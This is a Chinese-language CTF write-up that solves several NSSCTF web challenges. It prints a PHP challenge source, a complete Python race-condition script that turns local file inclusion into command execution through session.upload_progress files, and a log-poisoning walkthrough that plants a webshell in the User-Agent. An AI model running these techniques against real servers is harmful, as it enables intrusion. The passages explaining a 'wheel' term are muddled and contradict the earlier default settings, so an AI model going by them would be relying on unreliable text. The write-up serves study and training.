题目源码
15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}
if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}
function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}
return False;
}
function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>
由源代码可知,当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过filter($shell) | checkNums($shell),限制太多,想要通过 RCE 得到 flag 几乎无从下手,于是我们考虑从file寻找攻击点
PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。
首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含
session文件包含
然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。
访问/?mode=eval
查看 phpinfo 内容,定位到 session 相关的信息,标注箭头处是比较关键的信息
分析:
- session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
- session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
- session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
- session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
- session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
- session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名
补充:
在
session.upload_progress
中,“轮子”(“wheel”)是指一个上传进度参数的名称,用于获取文件上传的进度信息。它是在开启了 PHP 的session.upload_progress.enabled
配置选项后,PHP 会将上传进度信息存储在$_SESSION
数组中。“轮子” 是 PHP 在处理文件上传时为了方便获取上传进度信息而引入的术语。它的作用是通过查询
$_SESSION['轮子']
来获取上传进度的相关信息,如已上传的字节数、文件大小等。当上传过程中需要获取进度时,可以使用这个特定的参数名称来访问相关信息,完成进度监控或其他操作。需要注意的是,“轮子” 只有在
session.upload_progress.enabled
设置为开启的情况下才会被创建和使用。通过查询$_SESSION
数组中的特定参数,可以动态获取上传任务的进度信息,提供更好的用户体验或完成其他相关操作。
综上所述,这种利用方式需要满足下面几个条件:
注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
这里用到别人的脚本,不用新的wheel
import io
import requests
import threading
from cffi.backend_ctypes import xrange
sessid = '0'
target = 'http://node4.anna.nssctf.cn:28580/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)
def write(session):
while True:
session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''},
files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
if file in resp.text:
print(resp.text)
event.clear()
else:
print("[+]retry")
# print(resp.text)
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
运行后得到flag
session.upload_progress
session.upload_progress
是 PHP 中的一个配置选项和功能,用于跟踪和获取文件上传的进度信息。它提供了一种方便的方式来监控文件上传的进度,并在需要时获取上传进度的相关信息。
要使用 session.upload_progress
,需要确保以下条件满足:
- PHP 版本为 PHP 5.4.0 或更高版本。
session.upload_progress.enabled
配置选项在 php.ini 文件中设置为On
(默认为Off
)。
一旦启用了 session.upload_progress
,PHP 将在 $_SESSION
数组中创建一个特殊的键值对,用于存储上传进度信息。该键的名称是可以配置的,通常被称为 “轮子”(“wheel”),但也可以根据需要进行定制。
通过查询 $_SESSION['轮子']
,可以获取上传进度的相关信息,例如已上传的字节数、文件大小等。这些信息可以应用在文件上传进度条的实时更新、限制上传大小或检查上传进度等功能中。
要注意的是,session.upload_progress
仅适用于通过 POST 方法上传的文件,而不适用于其他方式(如 PUT 方法或 AJAX 文件上传)。
总结而言,session.upload_progress
提供了一种简单的方式来监控和获取文件上传的进度信息,有助于实现更好的用户体验和文件上传控制。
参考:Docker PHP裸文件本地包含综述 | 离别歌
一个小游戏
解法有两种,一种是老老实实将游戏玩通关就可以得到flag,另一种解法就是分js代码找到flag会存在何处,但是一般使用网页小游戏的都是通关游戏就可以得到flag,同样跳过游戏过程直接到游戏结局也可以得到flag
调试器查看js文件
发现JS Events.js文件就是游戏前端文件,有一个mota(),搜索了也不是函数,应该是定义的东西
那就在文件中查看mota,结果发现好像有关于flag的编码
直接在控制台输入mota()就可以得到flag
看题图也发现在是个文件包含进来看了一下 发现过滤了很多字符
然后想的是能不在在ua里面传一句话木马并访问日志文件来触发他,先访问日志
http://node5.anna.nssctf.cn:28831/?file=/var/log/nginx/access.log
抓包传木马或着执行命令
有关于flag的文件,查看文件得到flag
如果是传入木马同样也可以用ua进行传入,最后用蚁剑连接查看flag